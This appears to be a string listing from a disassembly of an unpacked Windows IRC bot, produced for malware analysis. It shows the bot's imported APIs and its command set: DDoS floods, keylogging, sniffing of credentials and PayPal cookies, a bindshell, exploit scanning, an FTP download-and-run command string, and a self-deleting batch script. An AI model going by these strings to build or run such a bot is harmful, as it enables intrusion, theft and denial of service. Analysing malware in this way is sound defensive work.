sub_409B13(0222):
"kernel32.dll"
"SetErrorMode"
"CreateToolhelp32Snapshot"
"Process32First"
"GetDiskFreeSpaceExA"
"GetLogicalDriveStringsA"
"SearchPathA"
"QueryPerformanceCounter"
"QueryPerformanceFrequency"
"RegisterServiceProcess"
"user32.dll"
"SendMessageA"
"FindWindowA"
"IsWindow"
"GetClipboardData"
"CloseClipboard"
"GetAsyncKeyState"
"GetKeyState"
"GetWindowTextA"
"GetForegroundWindow"
"advapi32.dll"
"RegCreateKeyExA"
"RegSetValueExA"
"RegQueryValueExA"
"RegDeleteValueA"
"RegCloseKey"
"ClearEventLogA"
"OpenProcessToken"
"LookupPrivilegeValueA"
"AdjustTokenPrivileges"
"OpenSCManagerA"
"OpenServiceA"
"ControlService"
"CloseServiceHandle"
"EnumServicesStatusA"
"IsValidSecurityDescriptor"
"GetUserNameA"
"gdi32.dll"
"CreateDCA"
"CreateDIBSection"
"CreateCompatibleDC"
"GetDIBColorTable"
"SelectObject"
"BitBlt"
"DeleteDC"
"DeleteObject"
"ws2_32.dll"
"WSAStartup"
"WSASocketA"
"WSAAsyncSelect"
"__WSAFDIsSet"
"WSAIoctl"
"WSAGetLastError"
"WSACleanup"
"socket"
"ioctlsocket"
"connect"
"inet_ntoa"
"inet_addr"
"htons"
"htonl"
"ntohs"
"ntohl"
"send"
"sendto"
"recv"
"recvfrom"
"bind"
"select"
"listen"
"accept"
"setsockopt"
"getsockname"
"gethostname"
"getpeername"
"closesocket"
"wininet.dll"
"InternetGetConnectedState"
"InternetGetConnectedStateEx"
"HttpOpenRequestA"
"HttpSendRequestA"
"InternetConnectA"
"InternetOpenUrlA"
"InternetCrackUrlA"
"InternetReadFile"
"InternetCloseHandle"
"Mozilla/4.0 (compatible)"
"icmp.dll"
"IcmpCreateFile"
"IcmpCloseHandle"
"IcmpSendEcho"
"netapi32.dll"
"NetShareAdd"
"NetShareDel"
"NetShareEnum"
"NetScheduleJobAdd"
"NetApiBufferFree"
"NetRemoteTOD"
"NetUserAdd"
"NetUserDel"
"NetUserEnum"
"NetUserGetInfo"
"NetMessageBufferSend"
"NetWkstaGetInfo"
"dnsapi.dll"
"DnsFlushResolverCache"
"DnsFlushResolverCacheEntry_A"
"iphlpapi.dll"
"DeleteIpNetEntry"
"mpr.dll"
"WNetAddConnection2A"
"WNetAddConnection2W"
"WNetCancelConnection2A"
"WNetCancelConnection2W"
"shell32.dll"
"SHChangeNotify"
"odbc32.dll"
"SQLDriverConnect"
"SQLAllocHandle"
"avicap32.dll"
"capCreateCaptureWindowA"
"capGetDriverDescriptionA"
|
sub_418294(034d):
"explorer.exe"
|
sub_418EF7(0456):
"Account: %S"
"Full Name: %S"
"User Comment: %S"
"Comment: %S"
"Unknown"
"Administrator"
"User"
"Guest"
"Privilege Level: %s"
"Auth Flags: %d"
"Home Directory: %S"
"Parameters: %S"
"Password Age: %d"
"Bad Password Count: %d"
"Number of Logins: %d"
"Last Logon: %d"
"Last Logoff: %d"
"Logon Server: %S"
"Country Code: %d"
"User's Language: %d"
"Max. Storage: %d"
|
sub_4124EE(078a):
"FTP sniff"
"#FAAK#"
"NICK "
"220 "
"230 "
"USER "
"PASS "
|
sub_4185A5(0ba5):
"netapi32.dll"
"NetMessageBufferSend"
|
sub_412478(0d1f):
"IRC sniff"
"#FAAK#"
"OPER "
"NICK "
"oper "
"You are now an IRC Operator"
|
sub_401ACD(0e99):
" :"
" "
"!"
"PING"
"PONG %s\r\n"
"JOIN %s %s\r\n"
"001"
"005"
"302"
"@"
"433"
"NICK %s\r\n"
"KICK"
"NOTICE %s :%s\r\n"
"JOIN %s %s\r\n"
"NICK"
":%s%s"
"PART"
"QUIT"
"353"
"PART"
"NOTICE %s :%s\r\n"
"PRIVMSG"
"NOTICE"
"SEND"
"%s"
"CHAT"
"%s"
"login"
"l"
" :"
"$%d-"
"$%d"
"$me"
"$user"
"$chan"
"$rndnick"
"$server"
"$chr("
")"
"63"
" "
" "
"rndnick"
"rn"
"die"
"d"
"logout"
"lo"
"version"
"ver"
"dedication"
"ded"
"speedtest"
"st"
"secure"
"sec"
"unsecure"
"unsec"
"bindshell"
"bd"
"Server"
"socks4"
"s4"
"socks4stop"
"Server"
"rloginstop"
"Server"
"httpstop"
"Server"
"logstop"
"redirectstop"
"synstop"
"skysynstop"
"targa3stop"
"wonkstop"
"packetstop"
"tsunamistop"
"wisdomstop"
"udpstop"
"pingstop"
"tftpstop"
"Server"
"findfilestop"
"ffstop"
"procsstop"
"psstop"
"clonestop"
"Clone"
"securestop"
"Secure"
"scanstop"
"Scan"
"scanstats"
"stats"
"trstats"
"connectbackstats"
"cbstats"
"exploitlist"
"explist"
"reconnect"
"r"
"disconnect"
"dc"
"quit"
"q"
"status"
"s"
"id"
"i"
"reboot"
"threads"
"t"
"aliases"
"al"
"log"
"lg"
"clearlog"
"clg"
"netinfo"
"ni"
"sysinfo"
"si"
"lsp100"
"lsp100"
"procs"
"ps"
"getcdkeys"
"key"
"uptime"
"up"
"driveinfo"
"drv"
"testdlls"
"dll"
"opencmd"
"ocmd"
"cmdstop"
""
"%d. %s"
"spoof"
"off"
"getclip"
"gc"
"flusharp"
"farp"
"flushdns"
"fdns"
"currentip"
"cip"
"rloginserver"
"rlogin"
"httpserver"
"http"
"tftpserver"
"tftp"
"crash"
"crash"
"asc"
"sa"
"phonehome"
"NOTICE %s :PHONING HOME: hi ;).\r\n"
"findpass"
"fp"
"#f"
"Random"
"Sequential"
"full"
"%s"
"zaqwer"
"QUIT :%s\r\n"
"QUIT :later\r\n"
"QUIT :disconnecting\r\n"
"QUIT :reconnecting\r\n"
"secure"
"sec"
"Unsecuring"
"abosel7 vs"
"get"
"%d.%d.%d.*"
"exploit"
"#f"
"reconnect.in"
"rin"
"reconnect.in.ms"
"rinms"
"flood"
"load"
" "
" "
"nt"
" "
"notice %s :%s"
"mode"
" "
"mode %s %s"
"join"
"join %s"
"part"
"part %s"
"partflood"
"part %s %s"
"pnick"
"join %s"
"part %s %s"
"join %s"
"part %s %s"
"join %s"
"part %s %s"
"nick"
"join %s"
"chgnick"
"msg"
"join %s"
"notice"
"join %s"
"NOTICE %s :%s"
"NOTICE %s :%s"
"NOTICE %s :%s"
"ctcp"
"join %s"
"mix"
"join %s"
"NOTICE %s :%s"
"PRIVMSG %s :%s"
"NOTICE %s :%s"
"register"
"nickserv register %s %s"
"off"
"nick"
"n"
"join"
"j"
"part"
"pt"
"raw"
"r"
"killthread"
"k"
"c_quit"
"c_q"
"c_rndnick"
"c_rn"
"prefix"
"pr"
"open"
"o"
"server"
"se"
"dns"
"dn"
"killproc"
"kp"
"kill"
"ki"
"delete"
"del"
"get"
"gt"
"list"
"li"
"visit"
"v"
"mirccmd"
"mirc"
"cmd"
"cm"
"readfile"
"rf"
"psniff"
"on"
"#f"
"off"
"sniffer"
"on"
"#f"
"off"
"ident"
"on"
"off"
"keylog"
"on"
"file"
"off"
"#f"
"net"
"start"
"stop"
"pause"
"continue"
"delete"
"%s"
"share"
"user"
"send"
"capture"
"cap"
"gethost"
"gh"
"killlog"
"kl"
"addalias"
"aa"
"privmsg"
"action"
"a"
"cycle"
"cy"
"mode"
"m"
"c_raw"
"c_r"
"c_mode"
"c_m"
"c_nick"
"c_n"
"c_join"
"c_j"
"c_part"
"c_p"
"targa3"
"t3"
"tsunami"
"tsn"
"repeat"
"rp"
"delay"
"de"
"jp]de10"
"jp]10"
"execute"
"e"
"findfile"
"ff"
"rename"
"mv"
"icmpflood"
"icmp"
"clone"
"c"
"ddos.syn"
"ddos.ack"
"ddos.random"
"wisdom.udp"
"synflood"
"syn"
"skysyn"
"phatwonk"
"wonk"
"jpldg10"
"jpl10"
"redirect"
"rd"
"scan"
"sc"
"c_privmsg"
"c_pm"
"c_action"
"c_a"
"portscan"
"psc"
"advscan"
"adv"
"udpflood"
"udp"
"u"
"netsend"
"ns"
"pingflood"
"ping"
"p"
"tcpflood"
"tcp"
"email"
" "
"helo $rndnick\nmail from: <%s>\nrcpt to: "...
"httpcon"
"hcon"
"syn"
"ack"
"random"
"Spoofed"
"Normal"
"ICMP.dll not available"
"upload"
"%s\\%i%i%i.dll"
"ab"
"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
"-s:%s"
"ftp.exe"
"open"
"#f"
"Random"
"Sequential"
"[%s] * %s %s"
"[%s] <%s> %s"
"zaqwer"
"%s%s.exe"
"repeat"
"MODE %s\r\n"
"JOIN %s %s\r\n"
"screen"
"drivers"
"frame"
"video"
"r"
"\n"
"%s"
"open"
"QUIT :later\r\n"
"all"
"JOIN %s %s\r\n"
"NICK %s\r\n"
"QUIT :reconnecting\r\n"
"QUIT :reconnecting\r\n"
"NICK %s\r\n"
"!"
"~"
"cool"
"NOTICE %s :Pass auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"NOTICE %s :Host Auth failed (%s!%s).\r\n"
"NOTICE %s :Your attempt has been logged"...
"cool"
"USERHOST %s\r\n"
"-x+i"
"MODE %s %s\r\n"
"JOIN %s %s\r\n"
|
sub_4153BD(1f65):
"DISPLAY"
|
sub_41814D(229c):
"%s Error: %s <%d>."
|
sub_40BFEC(22a3):
"%d.%d.%d.%d"
|
sub_412661(240f):
WS2_32.htons
"%s"
"%s"
|
sub_4155F8(2bb5):
"Window"
|
sub_40F6B4(38be):
"\\%s"
"%s"
"\n"
"*"
|
sub_4196BD(3cbb):
"SeDebugPrivilege"
" %s (%d)"
"SeDebugPrivilege"
|
sub_410F20(3ccf):
"cmd /q"
|
sub_418C8F(3fe3):
"Share name: Resource: "...
"Yes"
"No"
"%-14S %-24S %-6u %-4s"
|
sub_41A6AF(4107):
"www.schlund.net"
"www.utwente.nl"
"verio.fr"
"www.1und1.de"
"www.switch.ch"
"www.belwue.de"
"de.yahoo.com"
"www.google.it"
"www.xo.net"
"www.stanford.edu"
"www.verio.com"
"www.nocster.com"
"www.rit.edu"
"www.cogentco.com"
"www.burst.net"
"nitro.ucsc.edu"
"www.level3.com"
"www.above.net"
"www.easynews.com"
"www.google.com"
"www.lib.nthu.edu.tw"
"www.st.lib.keio.ac.jp"
"www.d1asia.com"
"www.nifty.com"
"yahoo.co.jp"
"www.google.co.jp"
|
sub_415A30(442b):
"r"
"="
"="
|
sub_401000(4800):
"Winds Seersc Agts"
|
sub_40AFEB(4ec8):
"mIRC"
|
sub_4219D9(502f):
"e+000"
|
sub_416A33(5886):
"%sKB"
"failed"
|
sub_40C125(5b7b):
"sym"
|
sub_40F96B(5ceb):
"\n"
"PRIVMSG %s :Searching for: %s\r\n"
"\r\n\r\nIndex of %s</TIT"...
"<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
"<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
".."
"."
"PM"
"AM"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"<%s>"
"PRIVMSG %s :%-31s %-21s\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"%s%s/"
"\"><CODE>%.29s>/</CODE></A>"
"\"><CODE>%s/</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"<%s>"
"%-31s %-21s\r\n"
"PRIVMSG %s :%-31s %-21s (%s bytes)\n"
"<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
"\"><CODE>%.30s></CODE></A>"
"\"><CODE>%s</CODE></A>"
"</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
"%-31s %-21s (%i bytes)\r\n"
"PRIVMSG %s :Found %s Files and %s Direc"...
"<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
"Found: %i Files and %i Directories\r\n"
</font></pre></td></tr><tr id="sub_40D21F"><td><pre><a name="sub_40D21F"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40D21F"><font size=+2>sub_40D21F</a>(5f99)</font>:<font color=brown>
"GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"...
</font></pre></td></tr><tr id="sub_426573"><td><pre><a name="sub_426573"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_426573"><font size=+2>sub_426573</a>(5fbb)</font>:<font color=brown>
"invalid string position"
</font></pre></td></tr><tr id="sub_424D78"><td><pre><a name="sub_424D78"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_424D78"><font size=+2>sub_424D78</a>(60f6)</font>:<font color=brown>
"user32.dll"
"MessageBoxA"
"GetActiveWindow"
"GetLastActivePopup"
</font></pre></td></tr><tr id="sub_4256C2"><td><pre><a name="sub_4256C2"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4256C2"><font size=+2>sub_4256C2</a>(6338)</font>:<font color=brown>
"1#SNAN"
"1#IND"
"1#INF"
"1#QNAN"
</font></pre></td></tr><tr id="sub_40F531"><td><pre><a name="sub_40F531"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40F531"><font size=+2>sub_40F531</a>(6557)</font>:<font color=brown>
"text/html"
"application/octet-stream"
"ddd, dd MMM yyyy"
"HH:mm:ss"
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
"HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
</font></pre></td></tr><tr id="sub_41895C"><td><pre><a name="sub_41895C"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_41895C"><font size=+2>sub_41895C</a>(67a8)</font>:<font color=brown>
"The following Windows services are regi"...
" Unknown"
" Paused"
" Pausing"
" Continuing"
" Running"
" Stoping"
" Starting"
" Stopped"
"%s: %s (%s)"
</font></pre></td></tr><tr id="sub_401955"><td><pre><a name="sub_401955"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_401955"><font size=+2>sub_401955</a>(6ab9)</font>:<font color=brown>
"PASS %s\r\n"
</font></pre></td></tr><tr id="sub_4157F1"><td><pre><a name="sub_4157F1"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4157F1"><font size=+2>sub_4157F1</a>(6f62)</font>:<font color=brown>
"Window"
</font></pre></td></tr><tr id="sub_40B64B"><td><pre><a name="sub_40B64B"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40B64B"><font size=+2>sub_40B64B</a>(7139)</font>:<font color=brown>
" Total: %d in %s."
</font></pre></td></tr><tr id="sub_40DFE3"><td><pre><a name="sub_40DFE3"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40DFE3"><font size=+2>sub_40DFE3</a>(7196)</font>:<font color=darkgreen>
WS2_32.recv</font>
<font color=brown>
"cmd /c echo open %s %d >> ii &echo user"...
</font></pre></td></tr><tr id="sub_412361"><td><pre><a name="sub_412361"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_412361"><font size=+2>sub_412361</a>(79f8)</font>:<font color=brown>
"Bot sniff"
"#FAAK#"
"[PSNIFF]:"
"PSNIFF//"
"JOIN #"
"302 "
"366 "
":.login"
":!login"
":!Login"
":.Login"
":.ident"
":!ident"
":.hashin"
":!hashin"
</font></pre></td></tr><tr id="sub_417ADE"><td><pre><a name="sub_417ADE"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_417ADE"><font size=+2>sub_417ADE</a>(7aa9)</font>:<font color=brown>
"-|`_\\{[]}"
"-|`_\\{[]}"
"-|`_\\{[]}"
"-|`_\\{[]}"
</font></pre></td></tr><tr id="sub_4247EC"><td><pre><a name="sub_4247EC"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4247EC"><font size=+2>sub_4247EC</a>(7e1a)</font>:<font color=brown>
"TZ"
</font></pre></td></tr><tr id="sub_409A73"><td><pre><a name="sub_409A73"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_409A73"><font size=+2>sub_409A73</a>(810c)</font>:<font color=brown>
"NOTICE"
"PRIVMSG"
"%s"
"%s %s :%s\r\n"
</font></pre></td></tr><tr id="sub_40B385"><td><pre><a name="sub_40B385"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40B385"><font size=+2>sub_40B385</a>(8732)</font>:<font color=brown>
"%s %s stopped. (%d thread(s) stopped.)"
"%s No %s thread found."
</font></pre></td></tr><tr id="sub_41835A"><td><pre><a name="sub_41835A"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_41835A"><font size=+2>sub_41835A</a>(8afa)</font>:<font color=brown>
"%sdel.bat"
"@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
"%%comspec%% /c %s %s"
</font></pre></td></tr><tr id="sub_40B7DB"><td><pre><a name="sub_40B7DB"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40B7DB"><font size=+2>sub_40B7DB</a>(8cec)</font>:<font color=brown>
" Scan Time: %s."
</font></pre></td></tr><tr id="sub_40ACB6"><td><pre><a name="sub_40ACB6"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40ACB6"><font size=+2>sub_40ACB6</a>(9858)</font>:<font color=brown>
"%s"
</font></pre></td></tr><tr id="sub_419460"><td><pre><a name="sub_419460"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_419460"><font size=+2>sub_419460</a>(9bb4)</font>:<font color=brown>
"Invalid parameter."
"Server name not found."
"This network request is not supported."
"Not enough memory."
"The name is invalid."
"Duplicate share name."
"Invalid for redirected resource."
"Device or directory does not exist."
"Level parameter is invalid."
"A general failure occurred in the netwo"...
"The operation is allowed only on the pr"...
"The user account already exists."
"The group already exists."
"The password is shorter than required ("...
"An unknown error occurred."
"The computer name is invalid."
"Share not found."
"The user name could not be found."
"Network connection not found."
</font></pre></td></tr><tr id="sub_4235C9"><td><pre><a name="sub_4235C9"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4235C9"><font size=+2>sub_4235C9</a>(9d55)</font>:<font color=brown>
"<program name unknown>"
"..."
"Runtime Error!\n\nProgram: "
"\n\n"
"Microsoft Visual C++ Runtime Library"
</font></pre></td></tr><tr id="sub_418338"><td><pre><a name="sub_418338"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_418338"><font size=+2>sub_418338</a>(9dbe)</font>:<font color=brown>
"SeShutdownPrivilege"
</font></pre></td></tr><tr id="sub_4170ED"><td><pre><a name="sub_4170ED"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4170ED"><font size=+2>sub_4170ED</a>(a694)</font>:<font color=brown>
"WINLOGON"
"NWGINA"
"MSGINA"
</font></pre></td></tr><tr id="sub_4187DE"><td><pre><a name="sub_4187DE"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4187DE"><font size=+2>sub_4187DE</a>(a695)</font>:<font color=brown>
"The specified service name is invalid."
"The requested control code is undefined"...
"The handle is invalid."
"The handle does not have the required a"...
"The service binary file could not be fo"...
"The service cannot be stopped because o"...
"The database is locked."
"A thread could not be created for the s"...
"The process for the service was started"...
"The requested control code is not valid"...
"An instance of the service is already r"...
"The system is shutting down."
"An unknown error occurred: <%ld>"
</font></pre></td></tr><tr id="sub_4192E0"><td><pre><a name="sub_4192E0"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4192E0"><font size=+2>sub_4192E0</a>(a909)</font>:<font color=brown>
"Username accounts for local system:"
" %S"
"Total users found: %d."
</font></pre></td></tr><tr id="sub_4218B2"><td><pre><a name="sub_4218B2"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4218B2"><font size=+2>sub_4218B2</a>(aba6)</font>:<font color=brown>
"KERNEL32"
"IsProcessorFeaturePresent"
</font></pre></td></tr><tr id="sub_40A7CF"><td><pre><a name="sub_40A7CF"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40A7CF"><font size=+2>sub_40A7CF</a>(ac3c)</font>:<font color=brown>
"Kernel32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
"Odbc32.dll failed. <%d>"
"Avicap32.dll failed. <%d>"
</font></pre></td></tr><tr id="sub_419A89"><td><pre><a name="sub_419A89"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_419A89"><font size=+2>sub_419A89</a>(b276)</font>:<font color=brown>
"PRIVMSG %s :%s\r"
"%s"
</font></pre></td></tr><tr id="sub_4169A2"><td><pre><a name="sub_4169A2"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4169A2"><font size=+2>sub_4169A2</a>(b2db)</font>:<font color=brown>
"Cdrom"
"Network"
"Disk"
"Invalid"
"Unknown"
</font></pre></td></tr><tr id="sub_412575"><td><pre><a name="sub_412575"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_412575"><font size=+2>sub_412575</a>(b9cf)</font>:<font color=brown>
"HTTP sniff"
"#FAAK#"
"paypal"
"PAYPAL"
"PAYPAL.COM"
"paypal.com"
"Set-Cookie:"
</font></pre></td></tr><tr id="sub_416F1B"><td><pre><a name="sub_416F1B"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_416F1B"><font size=+2>sub_416F1B</a>(bf4c)</font>:<font color=brown>
"SeDebugPrivilege"
"NTDLL.DLL"
"NtQuerySystemInformation"
"RtlCreateQueryDebugBuffer"
"RtlQueryProcessDebugInformation"
"RtlDestroyQueryDebugBuffer"
"RtlRunDecodeUnicodeString"
"SeDebugPrivilege"
</font></pre></td></tr><tr id="sub_412B09"><td><pre><a name="sub_412B09"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_412B09"><font size=+2>sub_412B09</a>(c40b)</font>:<font color=brown>
"ddos.syn"
"ddos.ack"
"ddos.random"
</font></pre></td></tr><tr id="sub_4125FC"><td><pre><a name="sub_4125FC"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4125FC"><font size=+2>sub_4125FC</a>(cfb4)</font>:<font color=brown>
"VULN sniff"
"#FAAK#"
"OpenSSL/0.9.6"
"Serv-U FTP Server"
"OpenSSH_2"
</font></pre></td></tr><tr id="sub_41A19E"><td><pre><a name="sub_41A19E"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_41A19E"><font size=+2>sub_41A19E</a>(d12b)</font>:<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
"%c$"
"%c:\\"
</font></pre></td></tr><tr id="sub_419E7A"><td><pre><a name="sub_419E7A"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_419E7A"><font size=+2>sub_419E7A</a>(d7b4)</font>:<font color=brown>
"Software\\Microsoft\\OLE"
"EnableDCOM"
"SYSTEM\\CurrentControlSet\\Control\\Lsa"
"restrictanonymous"
</font></pre></td></tr><tr id="sub_417789"><td><pre><a name="sub_417789"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_417789"><font size=+2>sub_417789</a>(d935)</font>:<font color=brown>
"\n"
</font></pre></td></tr><tr id="sub_4178BB"><td><pre><a name="sub_4178BB"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4178BB"><font size=+2>sub_4178BB</a>(d9b1)</font>:<font color=brown>
"NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
</font></pre></td></tr><tr id="sub_418212"><td><pre><a name="sub_418212"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_418212"><font size=+2>sub_418212</a>(dcfe)</font>:<font color=brown>
"mIRC"
</font></pre></td></tr><tr id="sub_40AC10"><td><pre><a name="sub_40AC10"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40AC10"><font size=+2>sub_40AC10</a>(e076)</font>:<font color=brown>
"%d.%d.%d.%d"
</font></pre></td></tr><tr id="sub_4100DC"><td><pre><a name="sub_4100DC"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4100DC"><font size=+2>sub_4100DC</a>(e1a1)</font>:<font color=brown>
"%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
</font></pre></td></tr><tr id="sub_4151AD"><td><pre><a name="sub_4151AD"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4151AD"><font size=+2>sub_4151AD</a>(e4b2)</font>:<font color=brown>
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
</font></pre></td></tr><tr id="sub_4177D0"><td><pre><a name="sub_4177D0"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_4177D0"><font size=+2>sub_4177D0</a>(ed20)</font>:<font color=brown>
" "
"PING"
"433"
</font></pre></td></tr><tr id="sub_41A88C"><td><pre><a name="sub_41A88C"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_41A88C"><font size=+2>sub_41A88C</a>(f0d9)</font>:<font color=brown>
"%dd %dh %dm"
</font></pre></td></tr><tr id="sub_40F0D6"><td><pre><a name="sub_40F0D6"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40F0D6"><font size=+2>sub_40F0D6</a>(f1a3)</font>:<font color=brown>
"GET "
" "
"\r\n"
</font></pre></td></tr><tr id="sub_40CADB"><td><pre><a name="sub_40CADB"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_40CADB"><font size=+2>sub_40CADB</a>(f1cc)</font>:<font color=brown>
"BBBB"
"CCCC"
</font></pre></td></tr><tr id="sub_41A4D2"><td><pre><a name="sub_41A4D2"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_41A4D2"><font size=+2>sub_41A4D2</a>(f3f9)</font>:<font color=brown>
"POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
"\r\n"
</font></pre></td></tr><tr id="sub_416B57"><td><pre><a name="sub_416B57"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_416B57"><font size=+2>sub_416B57</a>(f5ac)</font>:<font color=brown>
"failed"
</font></pre></td></tr><tr id="sub_41AA43"><td><pre><a name="sub_41AA43"></a><a href="9c7ac4a78d5a246e415023b3f775ea80_unpacked.asm.html#sub_41AA43"><font size=+2>sub_41AA43</a>(fa32)</font>:<font color=brown>
"2003"
"%s (%s)"
"couldn't resolve host"
"HH:mm:ss"
</font></pre></td></tr></table><script>
document.getElementById(window.location.href.split('#')[1]).setAttribute("style", "background-color:#ddddff");
</script>
</html> |